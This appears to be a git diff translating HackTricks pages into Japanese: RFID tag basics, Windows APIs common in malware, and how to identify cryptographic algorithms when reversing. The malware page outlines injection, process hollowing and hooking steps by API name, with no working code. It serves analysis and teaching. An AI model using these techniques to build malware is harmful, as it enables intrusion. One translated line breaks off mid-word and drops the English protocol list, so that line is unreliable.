-## Low-Frequency RFID Tags (125kHz) +## 低周波数RFIDタグ(125kHz) -**Low-frequency tags** are often used in systems that **do not require high security**: building access, intercom keys, gym membership cards, etc. Due to their higher range, they are convenient to use for paid car parking: the driver does not need to bring the card close to the reader, as it is triggered from further away. At the same time, low-frequency tags are very primitive, they have a low data transfer rate. For that reason, it's impossible to implement complex two-way data transfer for such things as keeping balance and cryptography. Low-frequency tags only transmit their short ID without any means of authentication. +**低周波数タグ**は、**高いセキュリティが必要ないシステム**でよく使用されます:建物へのアクセス、インターコムキー、ジムの会員カードなど。その範囲が広いため、有料の駐車場にも便利です:ドライバーはカードをリーダーに近づける必要がなく、遠くからトリガーされます。同時に、低周波数タグは非常に原始的であり、データ転送速度が低いため、残高や暗号化などの複 +### 攻撃 -These devices rely on **passive** **RFID** technology and operate in a **range of 30 kHz to 300 kHz**, although it's more usual to use 125 kHz to 134 kHz: - -* **Long Range** — lower frequency translates to higher range. There are some EM-Marin and HID readers, which work from a distance of up to a meter. These are often used in car parking. -* **Primitive protocol** — due to the low data transfer rate these tags can only transmit their short ID. In most cases, data is not authenticated and it's not protected in any way. As soon as the card is in the range of the reader it just starts transmitting its ID. -* **Low security** — These cards can be easily copied, or even read from somebody else's pocket due to the protocol's primitiveness. - -**Popular 125 kHz protocols:** - -* **EM-Marin** — EM4100, EM4102. The most popular protocol in CIS. Can be read from about a meter because of its simplicity and stability. -* **HID Prox II** — low-frequency protocol introduced by HID Global. This protocol is more popular in the western countries. It is more complex and the cards and readers for this protocol are relatively expensive. -* **Indala** — very old low-frequency protocol that was introduced by Motorola, and later acquired by HID. You are less likely to encounter it in the wild compared to the previous two because it is falling out of use. - -In reality, there are a lot more low-frequency protocols. But they all use the same modulation on the physical layer and may be considered, in one way or another, a variation of those listed above. - -### Attack - -You can **attack these Tags with the Flipper Zero**: +あなたは**Flipper Zeroを使用してこれらのタグを攻撃**することができます: {% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %} [fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md) {% endcontent-ref %} -## High-Frequency RFID Tags (13.56 MHz) +## 高周波RFIDタグ(13.56 MHz) -**High-frequency tags** are used for a more complex reader-tag interaction when you need cryptography, a large two-way data transfer, authentication, etc.\ -It's usually found in bank cards, public transport, and other secure passes. +**高周波タグ**は、暗号化、大規模な双方向データ転送、認証などの複雑なリーダータグの相互作用が必要な場合に使用されます。\ +これらは通常、銀行カード、公共交通機関、その他のセキュアパスで使用されます。 -**High-frequency 13.56 MHz tags are a set of standards and protocols**. They are usually referred to as [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), but that's not always correct. The basic protocol set used on the physical and logical levels is ISO 14443. High-level protocols, as well as alternative standards (like ISO 19092), are based upon it. Many people refer to this technology as **Near Field Communication (NFC)**, a term for devices operating over the 13.56 MHz frequency. +**高周波13.56 MHzタグは、標準とプロトコルのセット**です。これらは通常、[NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)と呼ばれますが、常に正確ではありません。物理的および論理的レベルで使用される基本プロトコルセットはISO 14443です。高レベルのプロトコルやISO 19092などの代替標準は、それに基づいています。多くの人々は、この技術を13.56 MHz周波数で動作するデバイスのための**近距離無線通信(NFC)**と呼んでいます。
-To put it simply, NFC's architecture works like this: the transmission protocol is chosen by the company making the cards and implemented based on the low-level ISO 14443. For example, NXP invented its own high-level transmission protocol called Mifare. But on the lower level, Mifare cards are based on ISO 14443-A standard. +簡単に言えば、NFCのアーキテクチャは次のように機能します:カードを作成する会社が伝送プロトコルを選択し、低レベルのISO 14443に基づいて実装します。たとえば、NXPは独自の高レベル伝送プロトコルであるMifareを発明しました。ただし、下位レベルでは、MifareカードはISO 14443-A標準に基づいています。 -Flipper can interact with both the low-level ISO 14443 protocol, as well as Mifare Ultralight data transfer protocol and EMV used in bank cards. We're working on adding support for Mifare Classic and NFC NDEF. A thorough look at the protocols and standards that make up NFC is worth a separate article which we plan to have up later. +Flipperは、低レベルのISO 14443プロトコル、Mifare Ultralightデータ転送プロトコル、および銀行カードで使用されるEMVとのやり取りができます。Mifare ClassicとNFC NDEFのサポートも追加する予定です。NFCを構成するプロトコルと標準の詳細な調査は、別の記事で詳しく説明します。 -All high-frequency cards based on ISO 14443-A standard have a unique chip ID. It acts as the card's serial number, like a network card's MAC address. **Usually, the UID is 4 or 7 bytes long**, but can rarely go **up to 10**. UIDs are not a secret and they are easily readable, **sometimes even printed on the card itself**. +ISO 14443-A標準に基づくすべての高周波カードには、ユニークなチップIDがあります。これはカードのシリアル番号のような役割を果たし、ネットワークカードのMACアドレスのようなものです。**通常、UIDは4または7バイトの長さ**ですが、まれに**10バイト**になることもあります。UIDは秘密ではなく、**カード自体に印刷されていることもあります**。 -There are many access control systems that rely on UID to **authenticate and grant access**. Sometimes this happens **even** when RFID tags **support cryptography**. Such **misuse** brings them down to the level of the dumb **125 kHz cards** in terms of **security**. Virtual cards (like Apple Pay) use a dynamic UID so that phone owners won't go opening doors with their payment app. +UIDを使用して認証およびアクセスを許可する多くのアクセス制御システムがあります。時には、これが発生することがあります。RFIDタグが**暗号化をサポート**している場合でも、そのような**誤用**により、セキュリティの点では**125 kHzカード**と同じレベルになります。仮想カード(Apple Payなど)では、電話の所有者が支払いアプリでドアを開けることがないように、動的なUIDが使用されます。 -* **Low range** — high-frequency cards are specifically designed so that they would have to be placed close to the reader. This also helps to protect the card from unauthorized interactions. The maximum read range that we managed to achieve was about 15 cm, and that was with custom-made high-range readers. -* **Advanced protocols** — data transfer speeds up to 424 kbps allow complex protocols with full-fledged two-way data transfer. Which in turn **allows cryptography**, data transfer, etc. -* **High security** — high-frequency contactless cards are in no way inferior to smart cards. There are cards that support cryptographically strong algorithms like AES and implement asymmetrical cryptography. +* **短い範囲** - 高周波カードは、リーダーに近づける必要があるように特別に設計されています。これにより、不正な相互作用からカードを保護するのにも役立ちます。私たちが達成した最大の読み取り範囲は約15 cmであり、それはカスタム製の長距離リーダーを使用した場合でした。 +* **高度なプロトコル** - 最大424 kbpsのデータ転送速度により、完全な双方向データ転送を伴う複雑なプロトコルが可能です。これにより、**暗号化**、データ転送などが可能になります。 +* **高いセキュリティ** - 高周波非接触カードは、スマートカードに劣ることはありません。AESなどの暗号強度の高いアルゴリズムをサポートし、非対称暗号を実装したカードもあります。 -### Attack +### 攻撃 -You can **attack these Tags with the Flipper Zero**: +あなたは**Flipper Zeroを使用してこれらのタグを攻撃**することができます: {% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %} [fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md) {% endcontent-ref %} -Or using the **proxmark**: +または**proxmark**を使用することもできます: {% content-ref url="../todo/radio-hacking/proxmark-3.md" %} [proxmark-3.md](../todo/radio-hacking/proxmark-3.md) {% endcontent-ref %} -## References +## 参考文献 * [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) @@ -110,10 +95,10 @@ Or using the **proxmark**: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/reversing/common-api-used-in-malware.md b/reversing/common-api-used-in-malware.md index 993e767f2..d4e6b0155 100644 --- a/reversing/common-api-used-in-malware.md +++ b/reversing/common-api-used-in-malware.md @@ -1,25 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Generic +# 一般的な -## Networking +## ネットワーキング | Raw Sockets | WinAPI Sockets | | ------------- | -------------- | @@ -32,9 +30,9 @@ | write() | send() | | shutdown() | WSACleanup() | -## Persistence +## 永続化 -| Registry | File | Service | +| レジストリ | ファイル | サービス | | ---------------- | ------------- | ---------------------------- | | RegCreateKeyEx() | GetTempPath() | OpenSCManager | | RegOpenKeyEx() | CopyFile() | CreateService() | @@ -42,9 +40,9 @@ | RegDeleteKeyEx() | WriteFile() | | | RegGetValue() | ReadFile() | | -## Encryption +## 暗号化 -| Name | +| 名前 | | --------------------- | | WinCrypt | | CryptAcquireContext() | @@ -53,34 +51,34 @@ | CryptDecrypt() | | CryptReleaseContext() | -## Anti-Analysis/VM +## アンチ解析/VM -| Function Name | Assembly Instructions | +| 関数名 | アセンブリ命令 | | --------------------------------------------------------- | --------------------- | | IsDebuggerPresent() | CPUID() | | GetSystemInfo() | IN() | | GlobalMemoryStatusEx() | | | GetVersion() | | -| CreateToolhelp32Snapshot \[Check if a process is running] | | -| CreateFileW/A \[Check if a file exist] | | +| CreateToolhelp32Snapshot \[プロセスが実行中かどうかを確認] | | +| CreateFileW/A \[ファイルが存在するかどうかを確認] | | -## Stealth +## ステルス -| Name | | +| 名前 | | | ------------------------ | -------------------------------------------------------------------------- | -| VirtualAlloc | Alloc memory (packers) | -| VirtualProtect | Change memory permission (packer giving execution permission to a section) | -| ReadProcessMemory | Injection into external processes | -| WriteProcessMemoryA/W | Injection into external processes | +| VirtualAlloc | メモリの割り当て(パッカー) | +| VirtualProtect | メモリの権限の変更(セクションに実行権限を与えるパッカー) | +| ReadProcessMemory | 外部プロセスへのインジェクション | +| WriteProcessMemoryA/W | 外部プロセスへのインジェクション | | NtWriteVirtualMemory | | -| CreateRemoteThread | DLL/Process injection... | +| CreateRemoteThread | DLL/プロセスのインジェクション... | | NtUnmapViewOfSection | | | QueueUserAPC | | | CreateProcessInternalA/W | | -## Execution +## 実行 -| Function Name | +| 関数名 | | ---------------- | | CreateProcessA/W | | ShellExecute | @@ -88,84 +86,81 @@ | ResumeThread | | NtResumeThread | -## Miscellaneous +## その他 -* GetAsyncKeyState() -- Key logging -* SetWindowsHookEx -- Key logging -* GetForeGroundWindow -- Get running window name (or the website from a browser) -* LoadLibrary() -- Import library -* GetProcAddress() -- Import library -* CreateToolhelp32Snapshot() -- List running processes -* GetDC() -- Screenshot -* BitBlt() -- Screenshot -* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Access the Internet -* FindResource(), LoadResource(), LockResource() -- Access resources of the executable +* GetAsyncKeyState() -- キーロギング +* SetWindowsHookEx -- キーロギング +* GetForeGroundWindow -- 実行中のウィンドウ名の取得(またはブラウザのウェブサイト) +* LoadLibrary() -- ライブラリのインポート +* GetProcAddress() -- ライブラリのインポート +* CreateToolhelp32Snapshot() -- 実行中のプロセスのリスト +* GetDC() -- スクリーンショット +* BitBlt() -- スクリーンショット +* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- インターネットへのアクセス +* FindResource(), LoadResource(), LockResource() -- 実行可能ファイルのリソースへのアクセス -# Malware Techniques +# マルウェアのテクニック -## DLL Injection +## DLLインジェクション -Execute an arbitrary DLL inside another process +他のプロセス内で任意のDLLを実行する -1. Locate the process to inject the malicious DLL: CreateToolhelp32Snapshot, Process32First, Process32Next -2. Open the process: GetModuleHandle, GetProcAddress, OpenProcess -3. Write the path to the DLL inside the process: VirtualAllocEx, WriteProcessMemory -4. Create a thread in the process that will load the malicious DLL: CreateRemoteThread, LoadLibrary +1. 悪意のあるDLLをインジェクションするプロセスを特定する:CreateToolhelp32Snapshot、Process32First、Process32Next +2. プロセスを開く:GetModuleHandle、GetProcAddress、OpenProcess +3. プロセス内にDLLのパスを書き込む:VirtualAllocEx、WriteProcessMemory +4. 悪意のあるDLLをロードするスレッドを作成する:CreateRemoteThread、LoadLibrary -Other functions to use: NTCreateThreadEx, RtlCreateUserThread +使用する他の関数:NTCreateThreadEx、RtlCreateUserThread -## Reflective DLL Injection +## 反射型DLLインジェクション -Load a malicious DLL without calling normal Windows API calls.\ -The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function. +通常のWindows API呼び出しを行わずに悪意のあるDLLをロードする。\ +DLLはプロセス内にマップされ、インポートアドレスを解決し、リロケーションを修正し、DllMain関数を呼び出します。 -## Thread Hijacking +## スレッドハイジャック -Find a thread from a process and make it load a malicious DLL +プロセスからスレッドを見つけ、それに悪意のあるDLLをロードさせる -1. Find a target thread: CreateToolhelp32Snapshot, Thread32First, Thread32Next -2. Open the thread: OpenThread -3. Suspend the thread: SuspendThread -4. Write the path to the malicious DLL inside the victim process: VirtualAllocEx, WriteProcessMemory -5. Resume the thread loading the library: ResumeThread +1. ターゲットスレッドを見つける:CreateToolhelp32Snapshot、Thread32First、Thread32Next +2. スレッドを開く:OpenThread +3. スレッドを一時停止する:SuspendThread +4. 悪意のあるDLLのパスを被害者プロセス内に書き込む:VirtualAllocEx、WriteProcessMemory +5. スレッドを再開し、ライブラリをロードする:ResumeThread -## PE Injection +## PEインジェクション -Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there. +Portable Execution Injection:実行可能ファイルが被害者プロセスのメモリに書き込まれ、そこから実行されます。 +## プロセスホローイング -## Process Hollowing +マルウェアは、プロセスのメモリから正規のコードをアンマップし、悪意のあるバイナリをロードします。 -The malware will unmap the legitimate code from memory of the process and load a malicious binary +1. 新しいプロセスを作成する:CreateProcess +2. メモリをアンマップする:ZwUnmapViewOfSection、NtUnmapViewOfSection +3. プロセスのメモリに悪意のあるバイナリを書き込む:VirtualAllocEc、WriteProcessMemory +4. エントリポイントを設定して実行する:SetThreadContext、ResumeThread -1. Create a new process: CreateProcess -2. Unmap the memory: ZwUnmapViewOfSection, NtUnmapViewOfSection -3. Write the malicious binary in the process memory: VirtualAllocEc, WriteProcessMemory -4. Set the entrypoint and execute: SetThreadContext, ResumeThread +# フック -# Hooking - -* The **SSDT** (**System Service Descriptor Table**) points to kernel functions (ntoskrnl.exe) or GUI driver (win32k.sys) so user processes can call these functions. - * A rootkit may modify these pointer to addresses that he controls -* **IRP** (**I/O Request Packets**) transmit pieces of data from one component to another. Almost everything in the kernel uses IRPs and each device object has its own function table that can be hooked: DKOM (Direct Kernel Object Manipulation) -* The **IAT** (**Import Address Table**) is useful to resolve dependencies. It's possible to hook this table in order to hijack the code that will be called. -* **EAT** (**Export Address Table**) Hooks. This hooks can be done from **userland**. The goal is to hook exported functions by DLLs. -* **Inline Hooks**: This type are difficult to achieve. This involve modifying the code of the functions itself. Maybe by putting a jump at the beginning of this. +* **SSDT**(**System Service Descriptor Table**)は、カーネル関数(ntoskrnl.exe)またはGUIドライバ(win32k.sys)を指し示し、ユーザープロセスはこれらの関数を呼び出すことができます。 +* ルートキットはこれらのポインタを制御するアドレスに変更する場合があります。 +* **IRP**(**I/O Request Packets**)はデータの断片を1つのコンポーネントから別のコンポーネントに転送します。カーネルのほとんどのものはIRPを使用し、各デバイスオブジェクトには独自の関数テーブルがあり、これをフックすることができます:DKOM(Direct Kernel Object Manipulation) +* **IAT**(**Import Address Table**)は依存関係の解決に役立ちます。このテーブルをフックして呼び出されるコードを乗っ取ることができます。 +* **EAT**(**Export Address Table**)フック。これらのフックは**ユーザーランド**から行うことができます。目的は、DLLによってエクスポートされた関数をフックすることです。 +* **インラインフック**:このタイプは実現が難しいです。これには、関数自体のコードを変更することが含まれます。たとえば、これの先頭にジャンプを配置することで実現できます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/reversing/cryptographic-algorithms/README.md b/reversing/cryptographic-algorithms/README.md index d324c0e52..adacecb2b 100644 --- a/reversing/cryptographic-algorithms/README.md +++ b/reversing/cryptographic-algorithms/README.md @@ -1,195 +1,190 @@ -# Cryptographic/Compression Algorithms +# 暗号化/圧縮アルゴリズム -## Cryptographic/Compression Algorithms +## 暗号化/圧縮アルゴリズム
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Identifying Algorithms +## アルゴリズムの特定 -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. +もし、コードが**シフト演算、XOR演算、およびいくつかの算術演算**を使用している場合、それはおそらく**暗号化アルゴリズムの実装**である可能性が高いです。ここでは、**各ステップを逆にする必要なしに使用されているアルゴリズムを特定する**いくつかの方法を紹介します。 -### API functions +### API関数 **CryptDeriveKey** -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +この関数が使用されている場合、第2パラメータの値をチェックすることで、**どのアルゴリズムが使用されているか**を特定できます。 ![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>) -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +可能なアルゴリズムとそれに割り当てられた値の表はこちらを参照してください:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Compresses and decompresses a given buffer of data. +指定されたデータのバッファを圧縮および展開します。 **CryptAcquireContext** -The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. +**CryptAcquireContext**関数は、特定の暗号化サービスプロバイダ(CSP)内の特定のキーコンテナへのハンドルを取得するために使用されます。選択したCSPを使用するCryptoAPI関数への呼び出しで使用される返されたハンドルです。 **CryptCreateHash** -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +データストリームのハッシュ化を開始します。この関数が使用されている場合、第2パラメータの値をチェックすることで、**どのアルゴリズムが使用されているか**を特定できます。 ![](<../../.gitbook/assets/image (376).png>) -\ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +可能なアルゴリズムとそれに割り当てられた値の表はこちらを参照してください:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Code constants +### コード定数 -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. +アルゴリズムを特定するのは非常に簡単な場合があります。なぜなら、特別でユニークな値を使用する必要があるからです。 ![](<../../.gitbook/assets/image (370).png>) -If you search for the first constant in Google this is what you get: +最初の定数をGoogleで検索すると、次のような結果が得られます。 ![](<../../.gitbook/assets/image (371).png>) -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. +したがって、逆コンパイルされた関数は**sha256の計算機**であると推定できます。他の定数のいずれかを検索しても(おそらく)同じ結果が得られます。 -### data info +### データ情報 -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: +コードに有意義な定数がない場合、おそらく**.dataセクションから情報を読み込んでいる**可能性があります。そのデータにアクセスし、最初のdwordを**グループ化**し、前のセクションと同様にGoogleで検索します。 ![](<../../.gitbook/assets/image (372).png>) -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. +この場合、**0xA56363C6**を検索すると、**AESアルゴリズムのテーブル**に関連していることがわかります。 -## RC4 **(Symmetric Crypt)** +## RC4 **(対称暗号)** -### Characteristics +### 特徴 -It's composed of 3 main parts: +RC4は3つの主要な部分で構成されています: -* **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -* **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -* **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. +* **初期化ステージ**:0x00から0xFFまでの値のテーブル(合計256バイト、0x100)を作成します。このテーブルは一般的に**置換ボックス**(またはSBox)と呼ばれます。 +* **スクランブルステージ**:以前に作成したテーブルをループします(再び0x100回のループ)。このループでは、RC4の**キーを使用して**各値を**半ランダム**バイトで変更します。この半ランダムバイトを作成するためには、通常、RC4のキーは1バイトから256バイトの長さであることが推奨されます。一般的に、RC4のキーは16バイトの長さです。 +* **XORステージ**:最後に、平文または暗号文は、以前に作成した値とXOR演算されます。暗号化および復号化のための関数は同じです。そのため、作成された256バイトを必要な回数だけループします。これは通常、デコンパイルされたコードで**%256(mod 256)**として認識されます。 {% hint style="info" %} -**In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** +**逆アセンブリ/デコンパイルされたコードでRC4を特定するには、2つの0x100サイズのループ(キーを使用)と、おそらく%256(mod 256)を使用して2つのループで作成された256個の値との入力データのXORをチェックできます。** {% endhint %} - -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) +### **初期化ステージ/置換ボックス:**(256という数字がカウンターとして使用され、256文字の各桁に0が書かれていることに注意してください) ![](<../../.gitbook/assets/image (377).png>) -### **Scrambling Stage:** +### **スクランブルステージ:** ![](<../../.gitbook/assets/image (378).png>) -### **XOR Stage:** +### **XORステージ:** ![](<../../.gitbook/assets/image (379).png>) -## **AES 